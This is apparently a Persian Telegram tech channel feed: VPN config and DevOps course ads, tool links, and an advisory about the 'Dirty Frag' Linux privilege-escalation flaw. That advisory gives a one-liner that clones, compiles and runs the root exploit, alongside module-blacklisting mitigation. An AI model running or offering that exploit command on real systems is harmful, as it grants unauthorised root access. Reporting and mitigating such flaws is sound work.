Byteforge / بایــت فورج 🛸

boring

A simple command line SSH tunnel manager that just works.

https://github.com/alebeck/boring

‏گوگل یه دوره رایگان ۵ روزه گذاشته واسه Vibe Coding و ساخت ایجنت و پروتوتایپ! ‏دوره بعدیش از June شروع میشه. از لینک زیر ثبت‌نام کنید: https://www.kaggle.com/competitions/5-day-ai-agents-intensive-vibecoding-course-with-google

بازهم آسیب‌پذیری تمام لینوکس‌ها از ۲۰۱۷: Dirty Frag آسیب‌پذیری تازه‌ای در ادامه‌ی Dirty Pipe و Copy Fail پیدا شده، که با ترکیب دو باگ امنیتی (xfrm-ESP و RxRPC در Page Cache) در بسیاری از توزیع‌ها می‌تونه دسترسی root بگیره. می‌تونید روی سیستم خودتون هم امتحانش کنید:

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

پس از اینکه انجامش دادید، Page Cache شما آلوده شده با اجرای دستور:

echo 3 > /proc/sys/vm/drop_caches

یا ری‌استارت کردن سیستم به حالت پیش برگردونیدش. راهکار: تا پچ امنیتی برای توزیعتون بیاد می‌تونید با این دستور ماژولهایی که این آسیب‌پذیری در اونها وجود داره را غیرفعال کنید و Page cache را پاک کنید:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

روی این سیستم‌ها تا الان تست شده و آسیب‌پذیر بودند:

Ubuntu 24.04.4: 6.17.0-23-generic RHEL 10.1: 6.12.0-124.49.1.el10_1.x86_64 openSUSE Tumbleweed: 7.0.2-1-default CentOS Stream 10: 6.12.0-224.el10.x86_64 AlmaLinux 10: 6.12.0-124.52.3.el10_1.x86_64 Fedora 44: 6.19.14-300.fc44.x86_64

اگه شبیه CopyFail به نظر میاد خودشون گفتن که:

ایده شروع این تحقیق از آسیب‌پذیری Copy Fail گرفته شده. به‌طور مشخص، بخش xfrm-ESP در زنجیره آسیب‌پذیری Dirty Frag از همان نقطه ضعف مشابه Copy Fail استفاده می‌کند. اما تفاوت مهم این است که این آسیب‌پذیری مستقل از وجود ماژول algif_aead فعال می‌شود. به عبارت دیگر، حتی اگر روی سیستم راهکار شناخته‌شده مقابله با Copy Fail (مثل غیرفعال کردن algif_aead) اعمال شده باشد، باز هم لینوکس شما در برابر Dirty Frag آسیب‌پذیر باقی می‌ماند.

⌨️ توضیحات بیشتر در گیت‌هاب تمام این اتفاق‌ها داره در زمانی میوفته که اینترنت ایران همچنان قطعه، سیستم‌ها به روز نشدند، با خبر شدن از این باگ‌ها و برطرف کردنشون به مراتب سخت‌تر خواهد بود. ✈️ به این لیست (از کانال سهراب) Dirty Frag را هم اضافه کنید. 🎮 @gooyban

🔥 اینترنت بدون محدودیت واقعی رو تجربه کن! 🔥 ⚡️ سرعت بالا + پینگ پایین (~100) 🚀 اتصال پایدار و بدون قطعی اعصاب‌خردکن 🔗 ارائه ساب‌لینک (مخصوص استفاده راحت و حرفه‌ای) 🧪 تست رایگان قبل از خرید 💯 کیفیت تضمینی واقعی 💸 گارانتی بازگشت وجه در صورت نارضایتی 💰 هر گیگ فقط ۲۷۸ هزار تومان 📉 تخفیف ویژه برای خرید حجم بالاتر (پلکانی) 📦 اوت‌باند: گیگی ۱۳۹ هزار تومان 📌 حداقل خرید: ۳۵ گیگ ⏳ ظرفیت محدود — دیر بجنبی جا می‌مونی! 📩 همین الان پیام بده تست بگیر 👇

@Fapp_liner

🔥 اینترنت بدون محدودیت واقعی رو تجربه کن! 🔥 ⚡️ سرعت بالا + پینگ پایین (~100) 🚀 اتصال پایدار و بدون قطعی اعصاب‌خردکن 🔗 ارائه ساب‌لینک (مخصوص استفاده راحت و حرفه‌ای) 🧪 تست رایگان قبل از خرید 💯 کیفیت تضمینی واقعی 💸 گارانتی بازگشت وجه در صورت نارضایتی 💰 هر گیگ فقط ۲۷۸ هزار تومان 📉 تخفیف ویژه برای خرید حجم بالاتر (پلکانی) 📦 اوت‌باند: گیگی ۱۳۹ هزار تومان 📌 حداقل خرید: ۳۵ گیگ ⏳ ظرفیت محدود — دیر بجنبی جا می‌مونی! 📩 همین الان پیام بده تست بگیر 👇

@Fapp_liner

رفقا سلام روزتون بخیر اگر قصد یادگیری کامل و الفبای DevOps رو دارید دوست و همکار عزیزم استاد فلاح زاده یه دوره کامل آماده کردن که میتونید تهیه کنید و کامل از 0تا100 دوره رو یاد بگیرید . شرایط خرید : دوره بصورت افلاین هستن و قابل دانلود از همه مهمتر پشتیبانی کامل خود استاد و مدرس رو داره مبلغ کل دوره 12,900 میلیون تومانه که با خرید از طرف کانال خودمون 20درصد تخفیف اعمال میشه دوره امکان خرید اقساطی در 3 قسط رو داره که براتون سخت نباشه پرداختش و از همه مهمتر از طریق خود استاد فلاح زاده میتونید وارد بازار بشید و معرف شما باشه در پایان دوره این دوره الفبای کامل دواپس رو بهتون یاد میده که وارد بازار کار بشید و یه دوره اشانتیون نتورک پلاس هم ارائه میشه بصورت رایگان مشاوره و خرید از طریق آیدی زیر :

@Fariborz_Fallahzadeh

رفقا سلام روزتون بخیر اگر قصد یادگ

🚀 پکیج کامل دوره آموزش DevOps | پروژه‌محور همراه با کتاب‌های فارسی 🚀 آیا آماده‌اید وارد دنیای DevOps شوید؟ یکی از پردرآمدترین مهارت‌های IT با فرصت‌های شغلی عالی در شرکت‌های بین‌المللی. 📚 محتوای دوره: 🔹 آشنایی با زیرساخت‌های DevOps 🔹 مفاهیم و ابزارهای لینوکس در DevOps 🔹 Docker و مدیریت کانتینرها 🔹 پیاده‌سازی Kubernetes 🔹 مانیتورینگ در DevOps 🔹 Git و مدیریت کد 🔹 Maven در DevOps 🔹 اتوماسیون با Jenkins 🔹 برنامه‌نویسی Python برای DevOps 🔹 مدیریت پیکربندی با Ansible 🔹 Terraform 🔹 CI/CD با GitLab 🔹 پیاده‌سازی در AWS 🔹 پیاده‌سازی در Azure 🔹 پیاده‌سازی در Google Cloud 🎯 مزایا: ✅ پروژه‌محور ✅ همراه با کتاب‌های فارسی ✅ آفلاین و قابل دانلود ✅ پشتیبانی در تلگرام ✅ مناسب ورود به بازار کار 💰 قیمت پکیج: 12 میلیون و 900 هزار تومان 🔥 با 20٪ تخفیف: 10 میلیون و 320 هزار تومان 💳 امکان پرداخت اقساطی در 3 قسط 📌 ثبت‌نام و مشاوره: 📩 @Fariborz_Fallahzadeh 🌟 سیلابس کامل: https://t.me/FallahzadehCourses/6

رفقا سلام روزتون بخیر اگر میخواید الفبای DevOps v, ;hlg dhn f'

🔥 اینترنت بدون محدودیت واقعی رو تجربه کن! 🔥 ⚡️ سرعت بالا + پینگ پایین (~100) 🚀 اتصال پایدار و بدون قطعی اعصاب‌خردکن 🔗 ارائه ساب‌لینک (مخصوص استفاده راحت و حرفه‌ای) 🧪 تست رایگان قبل از خرید 💯 کیفیت تضمینی واقعی 💸 گارانتی بازگشت وجه در صورت نارضایتی 💰 هر گیگ فقط ۲۹۸ هزار تومان 📉 تخفیف ویژه برای خرید حجم بالاتر (پلکانی) 📦 اوت‌باند: گیگی ۱۳۹ هزار تومان 📌 حداقل خرید: ۳۵ گیگ ⏳ ظرفیت محدود — دیر بجنبی جا می‌مونی! 📩 همین الان پیام بده تست بگیر 👇 @sup_flyzone

تعرفه کانفیگ ها هر 1 گیگ 298ت پرسرعت و کیفیت بالا🔥👌 تست و ساب دارد✅ بازگشت وجه در صورت قطعی ثبت سفارش از آیدی زیر 👇 @sup_flyzone

کانفیگ ها تست داره و ساب لینک بازگشت وجه درصورت قطعی

تخفیف گذاشتیم. گیگی 298 سفارش از طریق این ایدی @sup_flyzone

دوستانی که کانفیگ میخوان به ایدی زیر پیام بدن https://t.me/sup_flyzone

رفقا صراف میخوام که بتونم باهاش کار کنم بصورت ارزی کسی میشناسید معرفی کنید

کانفیگ تضمینی و سرعت بالا  با گیگی  300موجود کنم میخرید ؟!

کانفیگ تضمینی با گیگی 400موجود کنم میخرید ؟!

‏برای زندگی تو ایران حداقل باید 2 واحد شبکه پاس کرده باشی.

شرکت‌هایی مثل Netflix با استفاده از Chaos Engineering عمداً سرویس‌های production رو fail میکنن مثلاً با Chaos Monkey تا resilience واقعی سیستم رو بسنجن خلاصه‌اش If it doesn’t break under your control, it will break in production.